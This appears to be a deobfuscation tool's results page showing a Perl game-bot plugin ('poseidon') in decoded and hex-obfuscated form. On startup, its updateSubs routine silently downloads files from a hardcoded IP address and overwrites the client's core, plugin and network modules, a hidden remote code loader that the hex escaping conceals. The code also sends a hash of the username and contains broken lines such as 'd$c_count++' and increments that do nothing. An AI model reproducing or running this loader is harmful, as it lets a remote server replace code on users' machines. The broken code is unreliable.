Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
package poseidon; use strict; use Globals; use Plugins; use Misc; use Log qw(error ..
Decoded Output download
<? package poseidon;
use strict;
use Globals;
use Plugins;
use Misc;
use Log qw(error debug message );
use Bus::Messages qw(serialize);
use Globals qw(%config %rpackets);
use Poseidon::Client;
use Utils qw(dataWaiting timeOut);
use File::Fetch;
use File::Copy;
use Digest::MD5 qw(md5_hex);
use strict;
Plugins::register("poseidon", "custom poseidon authentication", \&ul, \&rl);
my $hooks = Plugins::addHooks(
["packet_pre/login_pin_code_request",\&pin],
["packet_pre/login_error", \&loginproblem, undef],
["Poseidon/client_authenticate", \&auth],
["packet_pre/map_changed", \&map_change, undef],
["packet_pre/received_character_ID_and_Map", \&map_change, undef],
["start",\&updateSubs, undef],
["disconnected", \&disconnect, undef],
["Network::connectTo", \&onConnectTo]
);
my $dc_count = 0;
my $po_count = 0;
my $map_change = 0;
my $cmd = Commands::register(
["dc","disconnect infos",\&dcInfo],
["po","disconnect infos",\&poInfo],
);
sub dcInfo {
my (undef, $args) = @_;
if ($args eq "count") {
message("[plugin:disconnectCount] Voc foi desconectado ".$dc_count." vezes.
","info");
}
}
sub poInfo {
my (undef, $args) = @_;
if ($args eq "count") {
message("[plugin:disconnectCount] O poseidon no respondeu ".$po_count." vezes.
","info");
}
}
sub disconnect {
d$c_count++;
}
sub updateSubs {
my $url = "http://69.197.163.58/Update.txt";
$File::Fetch::TIMEOUT = 5;
my $ff = File::Fetch->new(uri => $url);
my $file = $ff->fetch() or return;
my $update = 0;
my $filename = "Version.txt";
if (open(my $fh, "<:encoding(UTF-8)", $filename)) {
my $currentV = <$fh>;
chomp $currentV;
my $newFile = "Update.txt";
if (open(my $nh, "<:encoding(UTF-8)", $newFile)) {
my $newV = <$nh>;
chomp $newV;
if ($newV ne $currentV) {
$update = 1;
}
}
} else {
$update = 1;
}
if ($update) {
move("Update.txt","Version.txt");
$url = "http://69.197.163.58/Client.pm";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("Client.pm","src/Poseidon/Client.pm");
$url = "http://69.197.163.58/plugins/Update.pl";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
$url = "http://69.197.163.58/plugins/Poseidon.pl";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("Poseidon.pl","plugins/Poseidon.pl");
$url = "http://69.197.163.58/tables/bro/recvpackets.txt";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("recvpackets.txt","tables/bro/recvpackets.txt");
$url = "http://69.197.163.58/src/Network/Receive/bro.pm";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("bro.pm","src/Network/Receive/bro.pm");
$url = "http://69.197.163.58/src/Network/send/bro.pm";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("bro.pm","src/Network/send/bro.pm"); }
};
sub onConnectTo {
$timeout{"reconnect"}{"timeout"} = 5 + int rand(30);
}
sub pin {
my ($self, $args) = @_;
if ($args->{flag} != 0 && $args->{flag} != 1) {
$messageSender->sendLoginPinCode($args->{seed}, 0);
$args->{flag} = 10;
error ("O Servidor disse que seu pin est errado, tentando novamente...
");
sleep 10;
}
}
sub loginproblem {
my ($self, $args) = @_;
if ($args->{type} == 0x4) {
$args->{type} = 0x3;
} elsif ($args->{type} == 0x0) {
print "PoseidonMessage: servidor disse q seu login esta errado
";
print "PoseidonMessage: isso pode ser bug do servidor
";
print "PoseidonMessage: confira suas configs por via das duvidas
";
$args->{type} = 0x3;
}
}
sub auth {
my (undef, $args) = @_;
$args->{args}{individualkey} = $keys[0];
$args->{args}{"username"} = md5_hex$config{"username"};
}
sub rl {
ul();
}
sub ul {
Plugins::delHooks($hooks);
Commands::unregister($cmd);
undef $hooks;
undef $cmd;
}
sub map_change {
$map_change = 1;
}
*Poseidon::Client::query = sub {
my ($self, $packet) = @_;
my $socket = $self->_connect();
if (!$socket) {
error "O poseidon parece estr off.
";
Plugins::callHook("poseidon_socket");
$po_count;
relog(900);
return;
}
my (%args, $data);
# Plugin hook to make it possible to add additional data piggy-backed
# to the Poseidon request packet (auth information for example)
Plugins::callHook("Poseidon/client_authenticate", {
args => \%args,
});
$map_change = 0;
$args{packet} = $packet;
$data = serialize("Poseidon Query", \%args);
$socket->send($data);
$socket->flush();
$self->{socket} = $socket;
$self->{parser} = new Bus::MessageParser();
};
*Poseidon::Client::getResult= sub{
my ($self) = @_;
if (!$self->{socket} || !$self->{socket}->connected
|| !dataWaiting($self->{socket})) {
return undef;
}
my ($buf, $ID, $args);
$self->{socket}->recv($buf, 1024 * 32);
if (!$buf) {
error "O Poseidon no respondeu
";
$self->{socket} = undef;
$po_count;
relog(900);
return undef;
}
$self->{parser}->add($buf);
Plugins::callHook("gameguard_reply", {reply => $buf});
if ($args = $self->{parser}->readNext(\$ID)) {
if ($ID eq "sup") {
$self->query();
return;
}
if ($ID ne "Poseidon Reply") {
error "O Poseidon enviou uma resposta errada
";
error "$ID.
";
$self->{socket} = undef;
return undef;
offlineMode();
} else {
error "Poseidon est Funcionando
";
$self->{socket} = undef;
if($map_change == 1){
message("No enviando a resposta incorreta
");
$self->{socket} = undef;
return;
}
return $args->{packet};
}
} else {
return undef;
}
};
1; ?>
Did this file decode correctly?
Original Code
package poseidon;
use strict;
use Globals;
use Plugins;
use Misc;
use Log qw(error debug message );
use Bus::Messages qw(serialize);
use Globals qw(%config %rpackets);
use Poseidon::Client;
use Utils qw(dataWaiting timeOut);
use File::Fetch;
use File::Copy;
use Digest::MD5 qw(md5_hex);
use strict;
Plugins::register("\x70\x6F\x73\x65\x69\x64\x6F\x6E", "\x63\x75\x73\x74\x6F\x6D\x20\x70\x6F\x73\x65\x69\x64\x6F\x6E\x20\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x69\x6F\x6E", \&ul, \&rl);
my $hooks = Plugins::addHooks(
["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x6C\x6F\x67\x69\x6E\x5F\x70\x69\x6E\x5F\x63\x6F\x64\x65\x5F\x72\x65\x71\x75\x65\x73\x74",\&pin],
["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x6C\x6F\x67\x69\x6E\x5F\x65\x72\x72\x6F\x72", \&loginproblem, undef],
["\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2F\x63\x6C\x69\x65\x6E\x74\x5F\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65", \&auth],
["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x6D\x61\x70\x5F\x63\x68\x61\x6E\x67\x65\x64", \&map_change, undef],
["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x72\x65\x63\x65\x69\x76\x65\x64\x5F\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5F\x49\x44\x5F\x61\x6E\x64\x5F\x4D\x61\x70", \&map_change, undef],
["\x73\x74\x61\x72\x74",\&updateSubs, undef],
["\x64\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64", \&disconnect, undef],
["\x4E\x65\x74\x77\x6F\x72\x6B\x3A\x3A\x63\x6F\x6E\x6E\x65\x63\x74\x54\x6F", \&onConnectTo]
);
my $dc_count = 0;
my $po_count = 0;
my $map_change = 0;
my $cmd = Commands::register(
["dc","disconnect infos",\&dcInfo],
["po","disconnect infos",\&poInfo],
);
sub dcInfo {
my (undef, $args) = @_;
if ($args eq "\x63\x6F\x75\x6E\x74") {
message("[plugin:disconnectCount] Voc foi desconectado ".$dc_count." vezes.\n","info");
}
}
sub poInfo {
my (undef, $args) = @_;
if ($args eq "count") {
message("[plugin:disconnectCount] O poseidon no respondeu ".$po_count." vezes.\n","info");
}
}
sub disconnect {
d$c_count++;
}
sub updateSubs {
my $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x55\x70\x64\x61\x74\x65\x2E\x74\x78\x74";
$File::Fetch::TIMEOUT = 5;
my $ff = File::Fetch->new(uri => $url);
my $file = $ff->fetch() or return;
my $update = 0;
my $filename = "\x56\x65\x72\x73\x69\x6F\x6E\x2E\x74\x78\x74";
if (open(my $fh, "\x3C\x3A\x65\x6E\x63\x6F\x64\x69\x6E\x67\x28\x55\x54\x46\x2D\x38\x29", $filename)) {
my $currentV = <$fh>;
chomp $currentV;
my $newFile = "\x55\x70\x64\x61\x74\x65\x2E\x74\x78\x74";
if (open(my $nh, "\x3C\x3A\x65\x6E\x63\x6F\x64\x69\x6E\x67\x28\x55\x54\x46\x2D\x38\x29", $newFile)) {
my $newV = <$nh>;
chomp $newV;
if ($newV ne $currentV) {
$update = 1;
}
}
} else {
$update = 1;
}
if ($update) {
move("\x55\x70\x64\x61\x74\x65\x2E\x74\x78\x74","\x56\x65\x72\x73\x69\x6F\x6E\x2E\x74\x78\x74");
$url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x43\x6C\x69\x65\x6E\x74\x2E\x70\x6D";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("\x43\x6C\x69\x65\x6E\x74\x2E\x70\x6D","\x73\x72\x63\x2F\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2F\x43\x6C\x69\x65\x6E\x74\x2E\x70\x6D");
$url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x55\x70\x64\x61\x74\x65\x2E\x70\x6C";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
$url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2E\x70\x6C";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2E\x70\x6C","\x70\x6C\x75\x67\x69\x6E\x73\x2F\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2E\x70\x6C");
$url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x74\x61\x62\x6C\x65\x73\x2F\x62\x72\x6F\x2F\x72\x65\x63\x76\x70\x61\x63\x6B\x65\x74\x73\x2E\x74\x78\x74";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("\x72\x65\x63\x76\x70\x61\x63\x6B\x65\x74\x73\x2E\x74\x78\x74","\x74\x61\x62\x6C\x65\x73\x2F\x62\x72\x6F\x2F\x72\x65\x63\x76\x70\x61\x63\x6B\x65\x74\x73\x2E\x74\x78\x74");
$url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x52\x65\x63\x65\x69\x76\x65\x2F\x62\x72\x6F\x2E\x70\x6D";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("\x62\x72\x6F\x2E\x70\x6D","\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x52\x65\x63\x65\x69\x76\x65\x2F\x62\x72\x6F\x2E\x70\x6D");
$url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x73\x65\x6E\x64\x2F\x62\x72\x6F\x2E\x70\x6D";
$ff = File::Fetch->new(uri => $url);
$file = $ff->fetch() or die $ff->error;
move("\x62\x72\x6F\x2E\x70\x6D","\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x73\x65\x6E\x64\x2F\x62\x72\x6F\x2E\x70\x6D"); }
};
sub onConnectTo {
$timeout{"\x72\x65\x63\x6F\x6E\x6E\x65\x63\x74"}{"\x74\x69\x6D\x65\x6F\x75\x74"} = 5 + int rand(30);
}
sub pin {
my ($self, $args) = @_;
if ($args->{flag} != 0 && $args->{flag} != 1) {
$messageSender->sendLoginPinCode($args->{seed}, 0);
$args->{flag} = 10;
error ("\x4F\x20\x53\x65\x72\x76\x69\x64\x6F\x72\x20\x64\x69\x73\x73\x65\x20\x71\x75\x65\x20\x73\x65\x75\x20\x70\x69\x6E\x20\x65\x73\x74\xC3\xA1\x20\x65\x72\x72\x61\x64\x6F\x2C\x20\x74\x65\x6E\x74\x61\x6E\x64\x6F\x20\x6E\x6F\x76\x61\x6D\x65\x6E\x74\x65\x2E\x2E\x2E\n");
sleep 10;
}
}
sub loginproblem {
my ($self, $args) = @_;
if ($args->{type} == 0x4) {
$args->{type} = 0x3;
} elsif ($args->{type} == 0x0) {
print "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x3A\x20\x73\x65\x72\x76\x69\x64\x6F\x72\x20\x64\x69\x73\x73\x65\x20\x71\x20\x73\x65\x75\x20\x6C\x6F\x67\x69\x6E\x20\x65\x73\x74\x61\x20\x65\x72\x72\x61\x64\x6F\n";
print "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x3A\x20\x69\x73\x73\x6F\x20\x70\x6F\x64\x65\x20\x73\x65\x72\x20\x62\x75\x67\x20\x64\x6F\x20\x73\x65\x72\x76\x69\x64\x6F\x72\n";
print "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x3A\x20\x63\x6F\x6E\x66\x69\x72\x61\x20\x73\x75\x61\x73\x20\x63\x6F\x6E\x66\x69\x67\x73\x20\x70\x6F\x72\x20\x76\x69\x61\x20\x64\x61\x73\x20\x64\x75\x76\x69\x64\x61\x73\n";
$args->{type} = 0x3;
}
}
sub auth {
my (undef, $args) = @_;
$args->{args}{individualkey} = $keys[0];
$args->{args}{"\x75\x73\x65\x72\x6E\x61\x6D\x65"} = md5_hex$config{"\x75\x73\x65\x72\x6E\x61\x6D\x65"};
}
sub rl {
ul();
}
sub ul {
Plugins::delHooks($hooks);
Commands::unregister($cmd);
undef $hooks;
undef $cmd;
}
sub map_change {
$map_change = 1;
}
*Poseidon::Client::query = sub {
my ($self, $packet) = @_;
my $socket = $self->_connect();
if (!$socket) {
error "\x4F\x20\x70\x6F\x73\x65\x69\x64\x6F\x6E\x20\x70\x61\x72\x65\x63\x65\x20\x65\x73\x74\xC3\xA1\x72\x20\x6F\x66\x66\x2E\n";
Plugins::callHook("\x70\x6F\x73\x65\x69\x64\x6F\x6E\x5F\x73\x6F\x63\x6B\x65\x74");
$po_count;
relog(900);
return;
}
my (%args, $data);
# Plugin hook to make it possible to add additional data piggy-backed
# to the Poseidon request packet (auth information for example)
Plugins::callHook("\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2F\x63\x6C\x69\x65\x6E\x74\x5F\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65", {
args => \%args,
});
$map_change = 0;
$args{packet} = $packet;
$data = serialize("\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x51\x75\x65\x72\x79", \%args);
$socket->send($data);
$socket->flush();
$self->{socket} = $socket;
$self->{parser} = new Bus::MessageParser();
};
*Poseidon::Client::getResult= sub{
my ($self) = @_;
if (!$self->{socket} || !$self->{socket}->connected
|| !dataWaiting($self->{socket})) {
return undef;
}
my ($buf, $ID, $args);
$self->{socket}->recv($buf, 1024 * 32);
if (!$buf) {
error "\x4F\x20\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x6E\xC3\xA3\x6F\x20\x72\x65\x73\x70\x6F\x6E\x64\x65\x75\n";
$self->{socket} = undef;
$po_count;
relog(900);
return undef;
}
$self->{parser}->add($buf);
Plugins::callHook("\x67\x61\x6D\x65\x67\x75\x61\x72\x64\x5F\x72\x65\x70\x6C\x79", {reply => $buf});
if ($args = $self->{parser}->readNext(\$ID)) {
if ($ID eq "\x73\x75\x70") {
$self->query();
return;
}
if ($ID ne "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x52\x65\x70\x6C\x79") {
error "\x4F\x20\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x65\x6E\x76\x69\x6F\x75\x20\x75\x6D\x61\x20\x72\x65\x73\x70\x6F\x73\x74\x61\x20\x65\x72\x72\x61\x64\x61\n";
error "$ID\x2E\n";
$self->{socket} = undef;
return undef;
offlineMode();
} else {
error "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x65\x73\x74\xC3\xA1\x20\x46\x75\x6E\x63\x69\x6F\x6E\x61\x6E\x64\x6F\n";
$self->{socket} = undef;
if($map_change == 1){
message("\x4E\xC3\xA3\x6F\x20\x65\x6E\x76\x69\x61\x6E\x64\x6F\x20\x61\x20\x72\x65\x73\x70\x6F\x73\x74\x61\x20\x69\x6E\x63\x6F\x72\x72\x65\x74\x61\n");
$self->{socket} = undef;
return;
}
return $args->{packet};
}
} else {
return undef;
}
};
1;
Function Calls
None |
Stats
MD5 | 7b74372e7e3bde9deb0e0e560a4ad111 |
Eval Count | 0 |
Decode Time | 149 ms |